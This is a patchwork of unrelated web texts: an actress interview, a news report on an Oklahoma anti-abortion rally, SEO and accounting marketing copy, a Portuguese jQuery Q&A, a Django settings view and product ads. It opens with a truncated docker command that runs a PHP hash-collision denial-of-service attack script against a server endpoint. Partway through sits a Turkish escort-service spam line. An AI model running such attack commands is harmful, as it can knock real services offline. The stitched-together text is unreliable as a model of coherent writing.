docker run --rm -t lukasmartinelli/php-dos-attack \
python ./attack.py http://172.17.42.1:8080/index.php collision_keys.txt --count=100
```


text:
Fynsworth Alley: Liz Larsen
Liz Larsen
Liz Larsen is perhaps best known for her role as the forensics specialist on TV's Law and Order, or perhaps for her role as Cleo in the acclaimed Broadway revival of The Most Happy Fella. She has also appeared on Broadway in Starmites, Damn Yankees, and Fiddler on the Roof, off-Broadway in A New Brain, Little By Little, and The New Yorkers, as well as in regional theaters across the country. She has appeared on several Fynsworth Alley releases, including Lost in Boston The Ultimate Collection and Prime Time Musicals, on which she sings a duet with her husband, Sal Viviano.
DL: How did you get your start in show business?
LL: I grew up in New Hope, Pennsylvania, and in those days there was the Bucks County playhouse was sometimes used as a Broadway tryout house, but it was a really summer stock place to work. Also, across the river was the Lambertsville Music Circus – it was a really big tent that played musicals during the summer. My mother was press agent on and off for both of those theatres. So, my first show was The King and I at the Music Circus when I was three. I was the youngest kid, and Elaine Stritch played Anna. She gave me a kick one night – during the death scene. Anna wears those big hoop skirts, and I decided on opening night that it would be really funny to see if I could beat my sister to get my entire body underneath the skirt. I guess I got there faster than my sister and said, "Ha ha, Karen," (that's my sister's name), and I got a big kick in the ass from Elaine Stritch. That was my introduction to show business. Other than that, you know, I would be a kid in a lot of their shows, but mostly I saw all of these shows twenty or thirty times. My mother would just sit me in the balcony and I'd watch these plays over and over. I remember when I was six watching The Lion in Winter over and over with George C. Scott and Colleen Dewhurst. I don't remember it at all, except he was really intense. And I remember seeing James Earl Jones do The Emperor Jones. All I remember from that was "The drums, the drums." I think I was four. So I saw all these things, and even as I grew older, after school I would go to the Playhouse, and I remember seeing Cuckoo's Nest twenty-four times, and 1776 over thirty times, and Tea and Sympathy… Just a lot of great plays with a lot of really great people in them.
DL: So was it a foregone conclusion that that's what you wanted to do when you grew up?
LL: I guess it was, but I wasn't aware of it at the time. I just knew I loved to watch it and to be there. I guess I just kind of went into it without thinking about it. It wasn't really a decision.
DL: Did you go to school for theatre?
LL: Yeah, I went to SUNY Purchase, but I didn't graduate. I left right before my senior year, because I was extremely anxious to become a star. I decided to move to New York in August, and a couple days after I moved there I got a tour of Swiss Family Robinson. It was a TYA contract – Fran and Barry Weissler used to run a children's theatre, called The National Theatre Company, and they put out these tours. So I got my Equity Card a couple days after I moved to New York doing one of their tours. And then I left that and almost immediately got a tour of Fiddler on the Roof. That's kind of how I started professionally.
DL: Do you have a moment you consider your "big break"?
LL: There's a bunch of little breaks along the way. Fiddler was huge because I had basically just gotten my Equity card, and I could have hung around for years not working. But it was the right part at the right time. I looked really young, I was still kind of chubby, I looked like a kid. So to get a national tour and play Chava, it was really all I could have played at the time, so it was a good thing. Then along the way, in small increments, I kept getting better gigs with more reputable people. After Fiddler, I didn't have any good jobs for about two years, until I got Annie. But then the biggest break I got was doing The Most Happy Fella because once that happened, I started to be seen for television and get more television work and branch out from just doing musicals.
DL: That was after Starmites…
LL: Oh, yeah. Starmites was '89 and Happy Fella was '92.
DL: Was Starmites your first leading role? Was it your first role on Broadway?
LL: Well, we had taken Fiddler to the New York State Theatre, so I had technically been on Broadway before that, but that was the first time I had been on Broadway.
DL: What was the process of that show like? Had you been involved in any kind of development with it?
LL: Starmites had been in development for about eleven years, including the Broadway run. I joined it after about six of those years. So they had done it in readings and workshops way before I got involved. The first time I was involved in it was when it was down at Musical Theatre Works. It was at CSC at the time, they were using that space, and it was a black box. I thought it was magic there. There was no set, no real band, and it was all in the imagination of the people in the room, and they were on top of us. It's that old thing about taking away all the stuff and move closer to the audience and they become a piece of the theatre. It was beautiful in that space, and everyone got all excited. They wanted to move it off-Broadway, but somehow, somebody got involved with some guy who owned the Criterion Center. I think he was part of a family that owned all these movie theatres, and he wanted to turn this movie theatre into a legitimate stage house. So I guess he was saying "Put it in my theatre and it will be BROADWAY, not Off-Broadway!" And everyone was saying, "Wow, that's great… I think. I don't know… Okay…" So with a lot of hesitation, we planted ourselves in this place, and then it was pure disaster. The theatre literally fell apart on us. The fire curtain came down at one performance and drenched all the band's music, and we had to cancel the show for four days. We all go incredibly injured – people were breaking their feet, I tore my hip – because it was an extremely raked stage. There were technical things going on like flashpots that had never really been installed – the theatre wasn't used to this kind of thing. In fact at one point, I think it was the direction who was convinced there was evil Feng Shui in the building, so he hired an Indian prayer person to try to smoke out the bad spirits. So we all came to a rehearsal one day and sat on the stage, and the guy moved through us with all kinds of smoke. We had to pretend we were animals and exorcise these bad demons or something. We were all so tired we figured, hey man, if this works, let's go for it, because we didn't know what else to do. It was a really sweet piece and it was just too much for the piece, all that crap.
DL: And when Tony time came around and the show still managed to get recognized…
LL: Except for me!
DL: …except for you… what was that like?
LL: It was interesting because… Because I was playing two roles, I was either hysterically doing a quick change off-stage and running on to do the other part, or I was on stage singing, actually performing – I felt as though I was strapping this musical on to my back and walking up a hill with it. A lot of the other people in the show had supporting characters and they had fun numbers and they had breaks off stage, so they had easier shows. I think in that year, I got put in the lead category, or the supporting category, I can't remember, but that category was really thick with all the Jerome Robbins' Broadway people. I can't even remember how it worked. But somehow I got ousted and not nominated, and I could have not been that good, who knows? But in a year when they were stopping people on the street saying, "You know, there's no one to nominate, how about you?" it was pretty upsetting not to be nominated after all the work I had done. But the good thing was that I got to sing a little big on the Tonys, and it was very exciting to be there at all. I was excited to be involved.
DL: The cast recording of that show wasn't released until just a couple of years ago. Why the wait?
LL: That was really interesting. Before we moved to Broadway, we recorded a few cuts to help sell the pieces to producers. We did them in Diane Adams' studio – actually, it was in her home. We stood at mics in her living room and recorded a demo. After we closed, we added a few songs to that – five or six more – in a regular studio. They didn't have money to fly Sharon McKnight in, so Gwen Stewart sang her part, which is interesting because she just played the part in a little revival they just did. So altogether, we were missing about nine songs. Ten years later, I got a call, "Let's finish this album off." It was really bizarre to try to remember what I sounded like and what was going on in the play, in order to fit in these songs among the other songs I had recorded ten years prior. But it was fun, it was sweet. I cried seeing those people again. We had a blast! It was really great, because it was one of those things where we were all war buddies. We had lived through so many strange incarnations – and wonderful ones! The production at CSC was beautiful. Then we did another one in New Hampshire that was great fun too, so we had gotten to know each other pretty well at that point.
DL: I'm sure after that experience it was a relief to do something like Most Happy Fella which was more of a sure thing, at least in terms of the material.
LL: I didn't want to do Happy Fella, though, either, which is really funny. Gifts come in the strangest packages.
DL: Why did you end up doing it?
LL: What happened was I was out of town doing another show, and they called me to audition and I didn't want to go. Susan Johnson [who played Cleo in the original Broadway cast] is fantastic, she's perfect. I don't desire to play this role, I'm not right for this role, I don't want to go to Goodspeed for four months to play this role I'm not right for. They had trouble finding the person to play it, so they called me again. I guess on better judgment I went in to audition for it. Then when I got it, I was like "Oh no!" And then I really looked at my finances, and I needed employment weeks, so I ended up doing it. At first, it was like, "Okay, this is a gig." I had fun and people were nice. But then after about the third week, we all started realizing how brilliant [director] Gerry [Gutierrez] is, and how in touch with the material he was, and how creatively he had cast it, and how deeply felt everybody was in their interpretation of these people, that we all started sitting up a little straighter thinking, "Okay, this is maybe gonna be kind of good." But nobody ever mentioned Broadway, nobody ever mentioned moving. It was just about the only thing that had ever been produced at Goodspeed that wasn't supposed to move. So we were putting up the show, having a good time, and then… Oh, at one point, I asked Gerry, "I'm not even right for this role, why did you give me this part?" He said, "Because you're a Cadillac." I thought that was really sweet.
So then we're doing it, and Frank Rich was about to get married, so he was feeling romantic at that time. And I think he's said that The Most Happy Fella is his favorite musical. So right before he got married, he came up to Goodspeed to just see it. He wasn't supposed to review it or anything, but I guess he decided to, and he gave it such a good review that the next day we got fifteen hundred calls from producers. And then it was just like Boom! It was gone! It was the biggest shock! When I showed up at tech week and walked into the Booth stage door, I thought, "Oh my God! This is amazing! I never auditioned for a Broadway show!" I auditioned for some summer stock thing for no money, and I can't believe I got here from there.
DL: Comparing The Most Happy Fella, which was a revival that started out for artistic purposes, to Damn Yankees, which was revived with the sole purpose of doing a big, commercial revival of the show – were the experiences different?
LL: Damn Yankees was the most fun I've ever had. I didn't originate the part, which I would liked to have done, but it was great. There was no pressure on me, I just showed up and danced around with all of these guys. I jumped off the dugout and they caught me. I didn't have to worry about my voice and taking care of myself because it wasn't very demanding. It was a blast, beginning to end. I loved everybody. I loved Victor [Garber], I loved Jared [Emmock], I loved Charlotte [D'Amboise] – Charlotte and I became very, very close… we joined the show together – and then I loved Jerry Lewis when he came in! It was just fun from beginning to end.
DL: More recently you've been doing a lot of off-Broadway stuff. Generally speaking, how does working off-Broadway compare to working on Broadway?
LL: Honestly, I wish it were more money. But because it's not as much money, there's a little more freedom in terms of taking risks, so that's much more of a comfortable feeling. That's why Happy Fella was such a great experience, because we took all the risks without people watching us, and then it turned out okay, and then we could move. There just seems to be slightly less fear off-Broadway than there is on, because there's less at stake.
DL: Do you feel like there's pressure for off-Broadway shows to move? It seems like now all eyes are on off-Broadway as a feeder for Broadway – is that palpable from within the productions?
LL: You know, that didn't occur to me in any of the things I've done. I'm trying to remember how I was feeling when I did A New Brain. We were hoping it would move along, but I don't think we expected it to move along to Broadway. I think we were hoping it would move along in the same kind of venue. Little By Little, it never occurred to me that it might move on because it wasn't a piece that could get any bigger, it was just a teeny little piece. The New Yorkers [the show Liz just finished] is similar to Little By Little in that it's a small piece, and it needs that intimacy. I wish this one had moved on, it was a great job. I loved doing it.
DL: What made The New Yorkers special?
LL: I'm a little bit in love with [director] Chris Ashley. I think he's just the bee's knees. He's got impeccable taste. He makes everybody feel important and talented, and he makes everybody feel like you're working on something exciting and new, all the time. He's a really good captain of the ship. And everybody was really game to do anything. We started previews with a completely different show than we ended up with. We dropped five numbers, we added five more, we were going on stage with pages every night – and it was fine with everybody! No one was kicking and screaming and saying "I can't go on like this." People were just diving in. The group dynamic was great, and it was a very loving group. The show was an hour and a half in and out, it would have been a great mommy job – I'd be home before ten.
DL: Since you've become a mother, has that affected the way you look at your jobs?
LL: Yeah, in a lot of ways. First of all, no more out of town, unless it's a big Broadway show tryout that I have to just hunker down and just do it. But in general, no national tours. And I say no a lot more to things that I normally would. I said no to a few things that maybe I shouldn't have said no to because they moved and now they're very successful. It's tricky. A lot of these things move from workshops and readings, so when I get offered one I have to say, "Let's look at the people involved… Yeah. Let's look at the part… Well… Let's look at will it move, what's the money…" So I try to make intelligent decisions so I don't do a lot of readings and workshops so I don't spend thousands of dollars in nanny care for nothing. But my taste and my opinion isn't always correct. Unfortunately.
DL: Do you find that being married to another performer [Sal Viviano] makes it easier because you both understand what the other's dealing with or harder because you're juggling the same things…?
LL: Well, I think it's both. Most importantly, we both understand that for reasons that are inexplicable, we have to do this. Changing jobs for us isn't just changing jobs, it's changing our identities in a way. So he never asks me to stop and I never ask him to stop, even when it feels irresponsible, even when we feel that it's never going to be what we want it to be. We don't feel as though we can do that to each other. That's the good thing; we can stay supportive. The hard thing is the schedule. Every day is different, so scheduling who has which kid at which time and who's going to be here and when, and no you can't do that out of town because I'm in tech week then… that kind of stuff. And someone's always saying no because the other person is making money in something else and we have to take the money. That kind of thing.
DL: Let's go back a second. When did you guys meet?
LL: We met doing a production of Romance/Romance. How corny, right? We played opposite each other, but we had met years before. I had seen him in stuff, I knew who he was, but we were put together in this production. I had no interest in him, and he thought I was going to have a big crush on him. I didn't, and then suddenly I did. I don't know what happened. He was everything I didn't want: he was really good looking, he was an actor… but I guess I fell in love with him anyway.
DL: I know you guys have played opposite each other at least a few times. What's that like for you?
LL: We really love it. It's best when we're not romantically involved in the show. Evita was fantastic because we were adversaries. The reason it's so great is we can actually help each other. When he's onstage and I'm offstage, I can actually watch and we can talk about what's going on. We function best that way. Sunday in the Park was the same. It was an amazing experience. We were adversaries in that, they [George and Dot] never really have love scenes. That was very successful for us.
DL: When you started getting calls for TV, how did that change your career? When you set out to become and actress, did you always want to be a musical comedy actress, or was TV always part of the plan?
LL: I always wanted to be a musical comedy person when I was a kid, but when I went to Purchase, we did some stuff in front of a camera and I was like, oh my God, I feel so comfortable! So I really liked that. But it was really hard, before I did Happy Fella, to be seen for anything. And then I guess once I did that, film and television people actually came and saw me, so doors opened better, and my agents helped. It's been pretty good. Not as great as I'd like it to be, but certainly I'm working more.
DL: How long have you been doing Law and Order?
LL: I've had a recurring part for three years now.
DL: Was the part written as a recurring part?
LL: What happened was, I did a TV movie during the time I was in A New Brain. Dick Wolf produced it, so he was on the set a lot. I had a bunch of scenes in the TV movie, and I played this forensics specialist, so he said to me, "Let's make you the head of the forensics department on Law and Order, that'd be fun." And I was like, "YEAH, that'd be fun!" So that's been happening for the last three years.
DL: Let's talk about recordings for a little bit. How did you get to know Bruce Kimmel initially?
LL: I got this phone call out of the blue one day, and Bruce said he was doing this album called Unsung Musicals and he had this great song for me, so I said, great, where do I show up? He sent me the music, we had a rehearsal, and I showed up. I guess he had just seen me in a show or something and called me, it was very nice of him.
DL: You've probably been on more of the concept albums than most other singers. Why do you keep coming back? Why does Bruce keep calling?
LL: I think we've just become friends now, and it's like any time I'm singing one of these songs for him, I get a chance to see him and hang out. Plus, he gives me good songs too.
DL: Do you have a favorite of all the songs you've recorded?
LL: I really enjoyed "Too Darn Hot" [on Shakespeare on Broadway]. I loved doing the Peter Pan album because my son actually really listened to that one, so that was really fun that he liked that and heard me sing. There are so many. I loved singing "I Took My Time," the Michael Valenti tune from Honky Tonk Nights. There's one that I did with Sal on Prime Time Musicals, "You're So Right For Me," that was a blast, we had fun doing that.
DL: Who appeared on a Bruce Kimmel album first, you or Sal?
LL: Me. So then I said to Bruce, you know my husband, he can really sing. And he said, Oh, great. And so he did.
DL: When you did Little By Little, I know that was sort of a scary week leading up to the recording, because you were really sick. What went on during the last week of the show?
LL: It was the middle of winter, and it was a really bad cold season, and there was a really bad flu that year. It was a sung through piece with just three people. There were no mics, and there were no understudies. So one by one, we all got this flu thing. Christiane got it first – opening night! That was terrible. At opening night of the show, with critics in the lobby, they had to go out at half hour and cancel it. It was horrible. She felt awful, but she kept thinking she'd be okay. She kept saying, "No, no, I'm okay, I'm okay, I can do it." and we kept saying, "No, Christiane, you can't." But she insisted she could, and then finally, at about half hour, she said, "No, I don't think I can do it." And then Darren got it, and finally I ended up with it the last week of the show. So I had to be quiet. But I was fine by the album – I had eight or ten days of vocal rest. That was unbelievable. HIRE UNDERSTUDIES!
DL: Now that New Yorkers has ended its limited run, what's next for you?
LL: I don't know. I just finished another episode of Law and Order. I was supposed to do two shows in St. Louis at the MUNY, but I can't go. I just didn't have enough child care for it. Charlotte's father, Jacques D'Amboise does this program for children in schools where he teaches the kids to dance – every year they do a big presentation at LaGuardia High School, and they hire Broadway people to sing for them or narrate the evening, so Sal and I and Terry Mann, who is his son-in-law, are doing that this year. That should be really fun. And our older son is also in it. He's four and a half. They have a section of kids from four to seven who come on and kind of stand there. They play flowers and cupids and trumpeters. It's great, because we can take him with us every day. He's very excited to say, "I'm going to rehearsal too!" He can't stand when we go to work without him.
DL: One final question. What do you make of the general climate of musical theatre today, from an actor's perspective?
LL: Well, I feel better about it. Recently with Full Monty – I did a lot of the workshops and readings of Full Monty. David Yazbek is a good writer, and I was happy that he's writing for musical theatre! People are trying to write for musical theatre. I feel a little better about it than I did seven years ago. I remember, when I moved to New York, there were thirty-two theatres full. Ten years ago, there were eleven. So I'm encouraged.
A New Brain
Lost in Boston
Prime Time Musicals
Sal Viviano
Starmites
The Most Happy Fella
The New Yorkers
← Fynsworth Alley: Brad Ross
Fynsworth Alley: Craig Carnelia →


text:
Anti-abortion rally draws hundreds to state Capitol
by Ben Felder
Published: Wed, February 13, 2019 5:00 AM
Several hundred anti-abortion activists gathered Tuesday at the state Capitol to urge Republican lawmakers to criminalize abortion.
The rally focused on Senate Bill 13, which would classify abortion as murder.
"It's just so black and white to me that a baby is a baby," said Lisa Waggoner, an Ada resident who attended the rally.
Like many at the rally, Waggoner said she believes abolishing abortion might have a better chance of surviving a legal challenge following last year's conservative swing on the U.S. Supreme Court.
However, the Supreme Court voted last week to block a Louisiana law that put restrictions on abortion, indicating the court's position has not shifted as advocates of abortion restrictions have predicted.
"I'll be honest with you, I'm not optimistic," said Dan Fisher, the former gubernatorial candidate, speaking about the likelihood of the Supreme Court overturning Roe v. Wade, the 1973 decision making abortion a constitutional right.
But Fisher, who finished fourth in last year's Republican primary and ran his campaign on a platform of abolishing abortion, told Tuesday's crowd he believes Oklahoma lawmakers should outlaw abortion without giving the Supreme Court consideration.
"When did the Supreme Court become the final arbitrator on what is right and what is moral?" Fisher asked the crowd.
Video: Anti-abortion rally draws hundreds to state Capitol
Sen. Joseph Silk, the author of SB 13, rejected the idea that the federal government could overturn an abortion ban.
"The state of Oklahoma does not have to have permission from the courts to stop killing babies," said Silk, R-Broken Bow.
Senate President Pro Tem Greg Treat, who is against abortion, said last week he would take a legal challenge into consideration before moving a bill forward.
Treat, R-Oklahoma City, also acknowledged that bills like SB 13 have not withstood legal challenges in other states.
Abortion rights advocates in Oklahoma said SB 13 would be harmful to women and families.
"My biggest concern is (SB 13) criminalizes women's bodies, which is pretty dangerous and scary," said Danielle Williams, the board president for Oklahoma Call for Reproductive Justice. "This could put more women in prison just because of a biological event that happened to their bodies."
The OCRJ opposes the 11 anti-abortion bills filed this session.
But Williams said her organization is also advocating for dozens of bills that would help reduce unplanned pregnancy and improve conditions for mothers and families, including paid family leave and scientifically based sex education in school.
"This is the first year we have seen a longer list of positive bills than negative bills for us," Williams said.
Anti-abortion activists attend a rally Tuesday morning at the state Capitol. [Jim Beckel/The Oklahoman]
+2+5
A vocal crowd of about 400 pro-life activists carried signs condemning abortion, calling it an act of murder, and cheered a lengthy slate of speakers who urged the group to stand and fight for the repeal of legalized abortion in America during a rally on the first floor of the state Capitol Tuesday morning, Feb. 12, 2019. [JIM BECKEL/THE OKLAHOMAN]
A vocal crowd of about 400 pro-life activists carried signs condemning abortion, calling it an act of murder, and cheered a lengthy slate of speakers who urged the group to stand and fight for the repeal of legalized abortion in America during a rally on the first floor of the state Capitol Tuesday morning, Feb. 12, 2019. Oklahomans opposing abortion have expressed a new energy with a Trump presidency and the belief the U.S. Supreme Court has shifted. Ultimately, their goal, through legal channels, is an overturning of landmark Supreme Court decision, Roe v. Wade. Currently, there are several anti-abortion bills that activists are looking to promote. Senate Bill 13 would make abortion a felony homicide and many who gathered at the Capitol said they wanted lawmakers to support the bill, even if it resulted in a legal challenge. Gov. Kevin Stitt reaffirmed his support for anti-abortion legislation at a Capitol rally last week and said he wanted to see the U.S. Supreme Court outlaw abortion across the nation. Photo by Jim Beckel, The Oklahoman.
Josh Malone encourages rally participants to remain committed to their cause. A vocal crowd of about 400 pro-life activists carried signs condemning abortion, calling it an act of murder, and cheered a lengthy slate of speakers who urged the group to stand and fight for the repeal of legalized abortion in America during a rally on the first floor of the state Capitol Tuesday morning, Feb. 12, 2019. Oklahomans opposing abortion have expressed a new energy with a Trump presidency and the belief the U.S. Supreme Court has shifted. Ultimately, their goal, through legal channels, is an overturning of landmark Supreme Court decision, Roe v. Wade. Currently, there are several anti-abortion bills that activists are looking to promote. Senate Bill 13 would make abortion a felony homicide and many who gathered at the Capitol said they wanted lawmakers to support the bill, even if it resulted in a legal challenge. Gov. Kevin Stitt reaffirmed his support for anti-abortion legislation at a Capitol rally last week. Photo by Jim Beckel, The Oklahoman.
Caitlin St. Clair cuddles her four-month-old son, Ezekiel, while listening to speakers at the rally. She lives in Jones. A vocal crowd of about 400 pro-life activists carried signs condemning abortion, calling it an act of murder, and cheered a lengthy slate of speakers who urged the group to stand and fight for the repeal of legalized abortion in America during a rally on the first floor of the state Capitol Tuesday morning, Feb. 12, 2019. Oklahomans opposing abortion have expressed a new energy with a Trump presidency and the belief the U.S. Supreme Court has shifted. Ultimately, their goal, through legal channels, is an overturning of landmark Supreme Court decision, Roe v. Wade. Currently, there are several anti-abortion bills that activists are looking to promote. Senate Bill 13 would make abortion a felony homicide and many who gathered at the Capitol said they wanted lawmakers to support the bill, even if it resulted in a legal challenge. Gov. Kevin Stitt reaffirmed his support for anti-abortion legislation at a Capitol rally last week. Photo by Jim Beckel, The Oklahoman.
Kylie Johnson, mother to a six-month-old child, speaks at the rally. A vocal crowd of about 400 pro-life activists carried signs condemning abortion, calling it an act of murder, and cheered a lengthy slate of speakers who urged the group to stand and fight for the repeal of legalized abortion in America during a rally on the first floor of the state Capitol Tuesday morning, Feb. 12, 2019. Oklahomans opposing abortion have expressed a new energy with a Trump presidency and the belief the U.S. Supreme Court has shifted. Ultimately, their goal, through legal channels, is an overturning of landmark Supreme Court decision, Roe v. Wade. Currently, there are several anti-abortion bills that activists are looking to promote. Senate Bill 13 would make abortion a felony homicide and many who gathered at the Capitol said they wanted lawmakers to support the bill, even if it resulted in a legal challenge. Gov. Kevin Stitt reaffirmed his support for anti-abortion legislation at a Capitol rally last week and said he wanted to see the U.S. Supreme Court outlaw abortion across the nation. Photo by Jim Beckel, The Oklahoman.
Ben Felder
Ben Felder is an investigative reporter for The Oklahoman. A native of Kansas City, Ben has lived in Oklahoma City since 2010 and covered politics, education and local government for the Oklahoma Gazette before joining The Oklahoman in 2016.... Read more ›
CommentsAnti-abortion rally draws hundreds to state Capitol


text:
What SEO means?
SEO is a term standing for Searching Engine Optimization. It is the act of increasing the number of traffic visiting a website by gaining the as high position as possible in the search results page of any searching engine as Google. In other words, the purpose of SEO is organically attracting as many visitors as possible; however, these must be the ones who truly care about the content of your website. When people surf the internet to look for information, they are more possible to visit the top-ranking results in the search engine result pages (SERPs). It means that the higher position of your website in the SERPs, the more possible it will be visited. If you still not convinced that you should implement SEO extension, this post cover up pretty well about why you should improve SEO.
How to make sitelinks search box in Magento 2
How SEO functions?
A search engine is a kind of website that you visit to find answers for some questions and a bunch of results linking to other websites will be listed magically just in a second. Google, Yahoo,… are some among the most popular search engines nowadays. How can those links appear to be available immediately on search engines like that? Every search engine has a tool to collect and gather all information available on the Internet and then figure all the data to set up an index just in a blink of an eye. The index is, then, gone through a filter called algorithm to match all the data collected with user's requests. Several factors are considered when all the data do through the algorithm of a search engine. For example, such criteria as Google's algorithm weighs domain-level, link authority features are the most important ones with nearly 21%. Following are page-level link features and page-level KW & content features in second and third position with approximately 19% and 15% respectively. Besides, other elements also contribute to the result appearance such as page-level, keyword-agnostic features, domain-level brand features, social metrics, and so on with the percentages of less than 10. These aspects about search engine above are the very first parts of SEO. The O part of SEO represents for optimization, depends on people who write all that content and put it on their sites. The way writers represent their ideas so that the search engines can understand is of utmost importance as it will directly affect the result. Only when the content is clear and understandable, and it matches the query, can the searching tool recognize it, and send the information to visitors to make them happy.
Why do you need SEO extensions?
To make an easy-to-understand content that can also suit other elements of search engines is quite struggling for some online merchants. The shop owners always want to attract more visitors; however, the market in generally has become increasingly competitive that can be a deterrence to online merchants. Nevertheless, do not worry as best SEO extension will help you to be appealing to people. With a bunch of such outstanding features as SEO checklist, SEO report, prevention of duplicating content problem, metadata template rules, and so on, SEO extension promises to satisfy all your requests. For more details about how SEO extension works on Magento 2, visit our webpage: https://www.mageplaza.com/magento-2-seo-extension/


At the beginning of each new year, many Accounting firms have finalised their yearly budget. However the majority of firms do this without reference to the activities that will make the numbers a success. This TA addresses the pitfalls of this approach and offers a free tool for planning your budget and keeping it on track.
Without referencing specific growth activities, you lack a real plan of action for how your firm will achieve budgetary goals.
This is where my strategy of 'Farming for Growth' tool comes into play.
Discussions with practices who have recently set budgets have revealed a number of learnings.
-The economy changing and business starting to pick up again.
No engagement – the team are not enabled to achieve growth within their role.
Oddly I found a few practices that were unsuccessful even though they all had plans and details of how to achieve. I realised that they were unsuccessful because they lacked a mindset of accomplishment. These firms had failed to create a mindset of focus and control. Success comes from controlling the results through consistent focus, accountability and determination.
Plans are often left to chance or the details are not practical enough to implement and achieve. On the other hand, Premium Practices have an understanding of the strategies and therefore much more control over the success of their budgets.
In order to ensure a solid understanding of what is required for a project like a budget or to control the outcomes on the journey, I apply a technique I have called 'Farming for Growth'.
Farming for growth is best explained by likening it to the "Four seasons of growing a crop".
Here are the four stages of seasons.
Let's take a look at these stages, including the main points of each and some examples of activities required to achieve them.
In summary, I'm using the 'Farming for Growth' worksheet to drive 2016/2017 Budgets with my clients. You can access a free copy here for your own use, or book yourself in for a personalised, one on one diagnosis here.
I'll spend 15 minutes on the phone to see if I can help you, then organise to take you through the process with your new budget and coach you through its successful implementation. This is covered in the Chairman's Program as well, so check that out here.


text:
Q: Como acessar um container dentro de outro container em Jquery? Estou fazendo uma função para modificar esses grupos de botões, porém não sei como acessar containers dentro de containers com Jquery.

  <button aria-label="Right">Right</button>
  <button aria-label="Left">Left</button>
  <button aria-label="Center">Center</button>
  <button aria-label="Expand">Expand</button>

Consigo acessar esse container com $(selector), porém quero no caso excluir o botão com o aria-label="Expand". Pensei intuitivamente em
$(selector)[0].$("[aria-label=\"Expanded\"]").remove(), porém deu erro de sintaxe. Como faço para acessar um container dentro de outro container em Jquery?

A: Tente utilizar da seguinte forma:
$('.buttons').find('[aria-label="Expand"]').remove();

Estamos selecionando todos os filhos da div que contém a classe buttons com o seletor $('.buttons'). Após isso, pedimos para encontrar o elemento que contenha o atributo aria-label="Expand", depois de encontra-lo basta remover com a função remove().

A: É bem simples, utilize a estrutura do css

$(document).ready(function(){

$("#resultado").text($('.buttons button[aria-label="Expand"]').attr("aria-label"));
//oque você quer
$('.buttons button[aria-label="Expand"]').remove();
});

  <button aria-label="Right">Right</button>
  <button aria-label="Left">Left</button>
  <button aria-label="Center">Center</button>
  <button aria-label="Expand">Expand</button>

redpajama_set_name: RedPajamaStackExchange


Being that it was the first thing people would see with my blog, the name was one of my major concerns during the planning process. I thought on it, tried not to think about it, and over thought it. I drove myself crazier than normal along with everyone else in my house. I have to say that they took it like champs. All the sighing and scribbling would have tested anyone's tolerance.
I wrote down things about ink, about quills, and all manner of reading and writing paraphernalia. My brain was turning to mush. I commented to a writer friend that I was struggling with a name. She told me not to overthink it. I got a good chuckle when I read her response. She doesn't yet know this about me, but overthinking is second nature to me. I overthink and second guess like its my job.
My husband and childhood friend came up with several things. They tried to play on my Southern heritage with names involving magnolia and kudzu. I was looking for something me, something original that I could grow into. I was simply going in a different direction. After I came up empty, we all agreed that I should sleep on it.
I took my dilemma to two women who have very different personalities that I respect very much. One is a technical minded powerhouse and a strong business woman. The other is incredibly creative with a flair for business design and branding. I am a person who loves a good brainstorm with intelligent people. Ideas bounce all over the place peppered with interesting debates and makes for an electric environment. I expected nothing less with these two.
After a little research and a lot of great ideas, my creative friend had a "mic drop" moment. She basically looked me in the face in her direct way and said that this blog will be me so it should carry my name. I'd never thought of myself as a brand, but upon more thought, I realized she was right. The posts will be my words, my thoughts, an outlet of myself. This blog is my baby. A blog by any other name would not reflect me as well as one that bears my name.


text:
from rest_framework import views, response
from django.db import connection

from bluebottle.clients.utils import get_public_properties

class SettingsView(views.APIView):
    """
    Return the tenant settings as a json object
    """
    permission_classes = ()

    def get(self, request, format=None):
        """
        Return settings
        """
        obj = get_public_properties(request)

        member_settings = obj['platform']['members']
        if member_settings['closed'] and not request.user.is_authenticated:
            obj = {
                'tenant': connection.tenant.client_name,
                'platform': {
                    'members': {
                        'closed': member_settings['closed'],
                        'background': member_settings['background'],
                        'login_methods': member_settings['login_methods'],
                        'session_only': member_settings['session_only'],
                        'email_domain': member_settings['email_domain'],
                        'confirm_signup': member_settings['confirm_signup'],
                    }
                }
            }

        return response.Response(obj)


All uv drying unit for flexo wholesalers & uv drying unit for flexo manufacturers come from members. We doesn't provide uv drying unit for flexo products or service, please contact them directly and verify their companies info carefully.
Shanghai SIGMA High tech Co.,Ltd.


Ucuz alımlı ve guzel bayan partnerleri sizleri bekliyor.
MAGICSHINE, a brand name synonymous with brightness and reliability, is the market leader in high-performance bike lights. MAGICSHINE lights are commonly spotted by the night riders all over the world. Through user reviews and research & development, our products have been in the forefront of sporting LED light evolution. To maintain momentum, our professional engineer and design teams are always keen to offer increased performance in significant MAGICSHINE products.We believe in innovation, product reliability and free spirit. The brand MAGICSHINE brand gains global recognition for exceptional.When choosing a MAGICSHINE product you are getting a best valuable lighting solution for your outdoor & underwater sports. Choose MAGICSHINE, enjoy unlimited night riding. MAGICSHINE USA, based in Los Angeles, California brings you products that are reasonably priced compared to competive products and deliver superior performance quality on many, many night rides. For most of us, sport and life have one common denominator. That would be not how fast you complete it, but how much you enjoy it. We stand behind what we sell 100% and guarantee your satisfaction. Our lights are the tools you can utilize to help you bike, run, hike, and work thru your daily life and be there when you want to get away to those rigorous trailblazing adventures. We want to understand the vast variety of options for your sport lighting needs, as well as your pocket book. From beginner to professional, we offer the very best product and the peace of mind that comes from knowing your light is built to the highest standards to guarantee your safety. Our goal is to provide the very best quality merchandise at extremely competitive prices. We look forward to the ride. Let the adventure begin.
Our History Paramita specialized in R&D and producing whole series of LED housing and other components, includesl lamp shade, lamp cup, lens, etc. Especially of the 360 degree full beam angle PC lamp shade, candle light cover with tail and no glue & aluminum insert housing. Our Factory Our factory is located in XIAMEN(the light of the world), China. it takes only 20 minutes from Xiamen Airport and Train station to our company. Our Product Lamp shade, Lamp cup, Lens, etc. Especially of the 360 degree full beam angle PC lamp shade, candle light cover with tail and no glue & aluminum inside housing. Product Application LED BULB, LED CANDLE LIGHT, LED DOWN LIGHT, LED PANEL LIGHT, LED SOPT LIGHT, LED REFLECTOR LIGHT, LED 360 DEGREE BULB Production Equipment 16sets injection machine, 5setsblowing machine, 2sets automatically blowing machine, 2sets Extrusion blow moulding machines, 6sets automatically injection blowing machine Production Market Principal Market: Domestic, Middle Eastand Southeast Asia region Performance: Domestic: Topstar, Xindeco, Yankon, FSL, Linanfree International: HQ, HAVELLS, CPMPACT Our Service Pre-sales: provide market requirement information, analysis market requirement tendency, keep customer aware of the market situation, provide customer target market information, Guide customer develop new products and new markets, introduce the hot products in the market. On-purchase service: explain the question in sales with patience, like material, size, drawing, correspondent product 